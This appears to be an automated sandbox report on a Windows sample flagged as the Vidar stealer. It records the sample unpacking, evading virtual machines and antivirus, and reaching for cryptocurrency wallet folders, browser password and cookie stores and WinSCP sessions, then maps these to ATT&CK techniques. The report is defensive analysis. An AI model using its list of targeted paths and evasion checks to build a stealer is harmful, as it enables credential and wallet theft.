Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr
Source:	Binary string: mozglue.pdbP source: mozglue.dll.1.dr
Source:	Binary string: freebl3.pdbp source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr
Source:	Binary string: nss3.pdb@ source: nss3.dll.1.dr
Source:	Binary string: C:\lesuzu\bicavujepoc rikuwevokociku_bonotalehimuk pikajune\xo.pdb source: file.exe
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr
Source:	Binary string: 1C:\lesuzu\bicavujepoc rikuwevokociku_bonotalehimuk pikajune\xo.pdb source: file.exe
Source:	Binary string: nss3.pdb source: nss3.dll.1.dr
Source:	Binary string: mozglue.pdb source: mozglue.dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.1.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 1.2.file.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 1.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00418110 GetEnvironmentVariableA,_memset,lstrcat,lstrcat,lstrcat,SetEnvironmentVariableA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00418110

Source: initial sample

Static PE information: section name: .text entropy: 7.723744016228705

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00424B20 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,

1_2_00424B20

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_1-23472
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_1-23370

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00401070 GetSystemInfo,

1_2_00401070

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00412170 _memset,lstrcat,wsprintfA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00412170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004171C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,_memset,lstrcat,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,_memset,lstrcat,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,	1_2_004171C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00412450 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00412450
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00412690 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,wsprintfA,PathMatchSpecA,_memset,lstrcat,lstrcat,CopyFileA,DeleteFileA,_memset,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00412690
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0041B7E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,_memset,wsprintfA,_memset,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0041B7E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0040C8E0 wsprintfA,FindFirstFileA,_memset,lstrcat,StrCmpCA,StrCmpCA,lstrcpy,lstrcat,lstrcat,_memset,_memset,StrCmpCA,wsprintfA,wsprintfA,lstrlen,_strtok_s,PathMatchSpecA,CoInitialize,_strtok_s,PathMatchSpecA,lstrcpy,lstrcat,PathFindFileNameA,lstrcat,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,PathMatchSpecA,lstrcpy,lstrcat,lstrcat,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,PathMatchSpecA,CoInitialize,PathMatchSpecA,lstrcpy,lstrcat,PathFindFileNameA,lstrcat,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,PathMatchSpecA,lstrcpy,lstrcat,lstrcat,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,	1_2_0040C8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00424960 FindFirstFileW,FindNextFileW,FindNextFileW,	1_2_00424960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004169A0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_004169A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0040AAC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,_memset,_memset,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_0040AAC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00416BB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,_memset,lstrcat,lstrcat,lstrcat,lstrcat,_memset,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00416BB0

Source: C:\Users\user\Desktop\file.exe

1_2_0040DE60

Source: C:\Users\user\Desktop\file.exe

API call chain: ExitProcess graph end node

graph_1-23473

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Source: file.exe, 00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VMware
Source: file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpcg
Source: file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: BDISPLAYVMwareVMwareX3NS7I
Source: file.exe, 00000001.00000002.3707864447.0000000004670000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: DISPLAYVMware
Source: file.exe, 00000001.00000002.3707864447.0000000004670000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00430728 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00430728

Source: C:\Users\user\Desktop\file.exe

1_2_00418110

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0041B050 StrCmpCA,StrCmpCA,StrCmpCA,_memset,lstrcat,lstrcat,CopyFileA,_memset,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,GetProcessHeap,RtlAllocateHeap,StrCmpCA,lstrcat,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,

1_2_0041B050

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004352B7 SetUnhandledExceptionFilter,		1_2_004352B7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00430728 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_00430728

HIPS / PFW / Operating System Protection Evasion

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00417FA0 _malloc,CreateToolhelp32Snapshot,CloseHandle,Process32First,Process32Next,StrCmpCA,Process32Next,CloseHandle,

1_2_00417FA0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: GetProcessHeap,HeapAlloc,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,_memset,LocalFree,	1_2_0041F650
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_0043705F
Source: C:\Users\user\Desktop\file.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	1_2_00437154
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	1_2_004371FB
Source: C:\Users\user\Desktop\file.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	1_2_00437256
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	1_2_0043B3E2
Source: C:\Users\user\Desktop\file.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	1_2_00437427
Source: C:\Users\user\Desktop\file.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_004374E7
Source: C:\Users\user\Desktop\file.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_0043B4BC
Source: C:\Users\user\Desktop\file.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0043754E
Source: C:\Users\user\Desktop\file.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	1_2_0043758A
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,wsprintfA,_memset,LocalFree,	1_2_0041F6B8
Source: C:\Users\user\Desktop\file.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_0043688A

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00420970 GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,

1_2_00420970

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00420970 GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,

1_2_00420970

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0041F5B0 GetUserNameA,

1_2_0041F5B0

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Source: file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: 1.2.file.exe.4100e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.4100e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.file.exe.4160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.file.exe.4160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7912, type: MEMORYSTR

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Electrum-LTC
Source: file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: file.exe	String found in binary or memory: \Electrum\wallets\
Source: file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: JaxxLiberty
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: file.exe	String found in binary or memory: \Exodus\backups
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: default_wallet
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum"
Source: file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\.*2
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: file.exe	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\9ufvw9sb.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\9ufvw9sb.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior

Source: Yara match	File source: 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7912, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 1.2.file.exe.4100e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.4100e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.file.exe.4160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.file.exe.4160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7912, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	21 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	41 Security Software Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Native API	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	12 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	22 Software Packing	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Data Transfer Size Limits	115 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	34 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

